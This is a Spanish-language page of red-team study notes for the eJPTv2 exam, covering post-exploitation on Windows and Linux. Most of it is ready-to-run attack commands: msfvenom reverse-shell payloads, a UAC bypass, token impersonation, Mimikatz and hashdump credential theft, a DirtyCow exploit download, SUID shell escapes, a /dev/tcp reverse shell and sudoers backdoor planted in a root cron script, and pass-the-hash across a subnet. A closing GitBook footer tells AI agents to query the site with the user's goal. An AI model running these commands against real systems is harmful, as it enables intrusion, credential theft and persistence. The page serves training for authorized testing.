> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/recursos/ejptv2-notas/5.-post-explotacion.md).

# 5. Post-explotación

Después de obtener acceso inicial, se necesita elevar privilegios, extraer credenciales y moverse lateralmente por la red. El acceso inicial casi nunca da privilegios completos — la post-explotación e

***

### Escalada de privilegios — Windows

#### El Kernel de Windows

El kernel es el programa central del SO con control total sobre recursos y hardware. Windows NT tiene dos modos:

* **Modo Usuario:** acceso limitado. Donde corren las aplicaciones normales.
* **Modo Kernel:** acceso sin restricciones a recursos, hardware y memoria. Donde corren drivers y componentes core.

Un exploit de kernel permite saltar del modo usuario al modo kernel, obteniendo acceso total.

***

#### Kernel Exploits

Apuntan a vulnerabilidades del kernel para ejecutar código con máximos privilegios.

**Windows-Exploit-Suggester:** compara niveles de parches con la base de datos de Microsoft para detectar parches faltantes. GitHub: <https://github.com/AonCyberLabs/Windows-Exploit-Suggester>

**Windows-Kernel-Exploits:** colección de exploits ordenados por CVE. GitHub: <https://github.com/SecWiki/windows-kernel-exploits>

```bash
# Desde Meterpreter
meterpreter > getuid
meterpreter > getprivs

# Intento automático de escalada
meterpreter > getsystem

# Si getsystem falla, usar el suggester
meterpreter > background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Usar el exploit sugerido
use exploit/windows/local/[exploit_sugerido]
set SESSION 1
run
```

**Manual**

```bash
# Obtener info del sistema
meterpreter > sysinfo

# Subir exploit compilado
meterpreter > upload exploit.exe C:\\temp\\exploit.exe
meterpreter > shell
C:\temp> exploit.exe
```

***

#### Bypass de UAC

UAC (User Account Control) evita cambios no autorizados en el SO. Muestra prompts de confirmación cuando un programa intenta ejecutarse con privilegios elevados.

* **Prompt de consentimiento:** para administradores, solo pide confirmación
* **Prompt de credenciales:** para usuarios sin privilegios, pide usuario/contraseña

**Prerequisito:** la cuenta comprometida debe pertenecer al grupo de administradores locales.

**UACMe** — herramienta con 60+ métodos para bypassear UAC en Windows 7 a 10. GitHub: <https://github.com/hfiref0x/UACME>

```bash
# 1. Generar payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tu_ip LPORT=4444 -f exe -o backdoor.exe

# 2. Subir UACMe + payload al objetivo
meterpreter > upload Akagi64.exe C:\\temp\\Akagi64.exe
meterpreter > upload backdoor.exe C:\\temp\\backdoor.exe

# 3. Listener
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST tu_ip
set LPORT 4444
run

# 4. Ejecutar (desde shell en el objetivo)
C:\temp> Akagi64.exe 23 C:\temp\backdoor.exe
```

***

#### Access Token Impersonation

Los tokens de acceso son llaves temporales que identifican al usuario y sus privilegios. Generados por `winlogon.exe` al autenticarse. Todos los procesos del usuario heredan su token.

**Tipos:**

* **Delegación:** sesiones interactivas (login local, RDP). Actuar completamente como ese usuario.
* **Suplantación:** sesiones no interactivas (share de red). Funcionalidad limitada.

**Privilegios necesarios:** SeAssignPrimaryToken, SeCreateToken o SeImpersonatePrivilege.

```bash
# Cargar Incognito
meterpreter > load incognito

# Listar tokens disponibles
meterpreter > list_tokens -u

# Suplantar token de administrador
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"

# Verificar
meterpreter > getuid
```

***

#### Contraseñas en archivos de configuración

La Instalación Desatendida de Windows usa archivos de configuración con credenciales del Administrador. Si quedan en el sistema después de la instalación:

```
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Autounattend.xml
```

Las contraseñas están en base64 (reversible, no cifrado).

```bash
meterpreter > search -f Unattend.xml
meterpreter > download C:\\Windows\\Panther\\Unattend.xml

# Decodificar
echo "cGFzc3dvcmQxMjM=" | base64 -d
```

***

### Escalada de privilegios — Linux

#### Kernel Exploits

Misma lógica que Windows: explotar vulnerabilidades del kernel para obtener root.

```bash
# Versión del kernel
uname -r
uname -a
cat /etc/os-release
```

**Linux-Exploit-Suggester:** evalúa exposición del kernel a exploits conocidos. GitHub: <https://github.com/mzet-/linux-exploit-suggester>

```bash
# Subir y ejecutar
wget http://tu_ip:8000/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
```

```bash
# Compilar y ejecutar un exploit (ejemplo: DirtyCow)
wget https://www.exploit-db.com/download/40839 -O dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty nueva_password
```

***

#### Tareas Cron

Cron ejecuta tareas programadas repetidamente. El crontab almacena las tareas. Los cron jobs se ejecutan con los permisos del usuario que los creó — si root creó la tarea, se ejecuta como root.

Si podés modificar el script que ejecuta un cron job de root, podés ejecutar comandos como root.

```bash
# Enumeración
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
```

```bash
# Si encontrás un script de root con permisos de escritura
# Opción 1: agregar al sudoers
echo "echo 'usuario ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" >> /opt/script.sh

# Opción 2: reverse shell
echo "/bin/bash -i >& /dev/tcp/tu_ip/4444 0>&1" >> /opt/script.sh

# Esperar a que se ejecute y verificar
sudo -l
```

***

#### Binarios SUID

SUID (Set Owner User ID): cuando un archivo tiene SUID, se ejecuta con los permisos del propietario, no del usuario que lo ejecuta. Si el propietario es root, el programa corre como root.

Se muestra como `s` en permisos: `-rwsr-xr-x`

```bash
# Buscar binarios SUID
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f -ls 2>/dev/null
```

Verificar cada binario en **GTFOBins** (<https://gtfobins.github.io>):

```bash
# Ejemplo: find con SUID
find . -exec /bin/bash -p \;

# vim con SUID
vim -c ':!/bin/bash'

# python3 con SUID
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# nmap con SUID (versiones viejas)
nmap --interactive
nmap> !sh
```

***

### Extracción de credenciales

#### Windows — Hashes (SAM)

Las contraseñas se almacenan hasheadas en la base de datos SAM. El archivo SAM está bloqueado mientras Windows corre. Los atacantes extraen hashes del proceso LSASS en memoria.

**LM (legacy, débil):** divide en bloques de 7, convierte a mayúsculas, sin salt. Deshabilitado desde Vista.

**NTLM (moderno):** no divide, case-sensitive, permite Unicode, usa MD4.

```bash
# Desde Meterpreter (requiere SYSTEM)
meterpreter > hashdump

# Si falla, migrar a LSASS
meterpreter > pgrep lsass
meterpreter > migrate [PID]
meterpreter > hashdump
```

Formato: `usuario:RID:hash_LM:hash_NTLM:::`

#### Windows — Mimikatz

Herramienta de post-explotación que extrae contraseñas en texto claro, hashes NTLM y tickets Kerberos de la memoria (proceso LSASS).

```bash
# Con Kiwi (extensión de Meterpreter)
meterpreter > load kiwi
meterpreter > creds_all
meterpreter > lsa_dump_sam
meterpreter > creds_msv

# Con el ejecutable
meterpreter > upload mimikatz.exe C:\\temp\\mimikatz.exe
C:\temp> mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::sam
mimikatz # sekurlsa::logonpasswords
```

`sekurlsa::logonpasswords` muestra contraseñas en texto claro (si están en memoria), hashes NTLM y tickets Kerberos de todos los usuarios con sesión activa.

#### Linux — /etc/shadow

```bash
# /etc/passwd — info de usuarios, legible por todos
# /etc/shadow — hashes de contraseñas, solo legible por root
cat /etc/shadow
```

Tipos de hash:

| Identificador | Algoritmo           |
| ------------- | ------------------- |
| `$1$`         | MD5                 |
| `$5$`         | SHA-256             |
| `$6$`         | SHA-512 (más común) |

```bash
# Cracking
unshadow /etc/passwd /etc/shadow > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt
```

***

### Pass-the-Hash

Técnica que permite autenticarse con el hash NTLM en lugar de la contraseña. No necesitás crackearlo — lo usás directamente. Funciona porque NTLM no requiere la contraseña original.

#### Con Metasploit (PsExec)

```bash
use exploit/windows/smb/psexec
set RHOSTS 10.10.10.2
set SMBUser administrator
set SMBPass hash_LM:hash_NTLM
run
```

#### Con CrackMapExec

```bash
# Verificar acceso
crackmapexec smb 10.10.10.2 -u administrator -H hash_NTLM

# Ejecutar comandos
crackmapexec smb 10.10.10.2 -u administrator -H hash_NTLM -x "whoami"

# Probar contra toda una subred
crackmapexec smb 10.10.10.0/24 -u administrator -H hash_NTLM

# Shell con Impacket
psexec.py administrator@10.10.10.2 -hashes hash_LM:hash_NTLM
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/recursos/ejptv2-notas/5.-post-explotacion.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
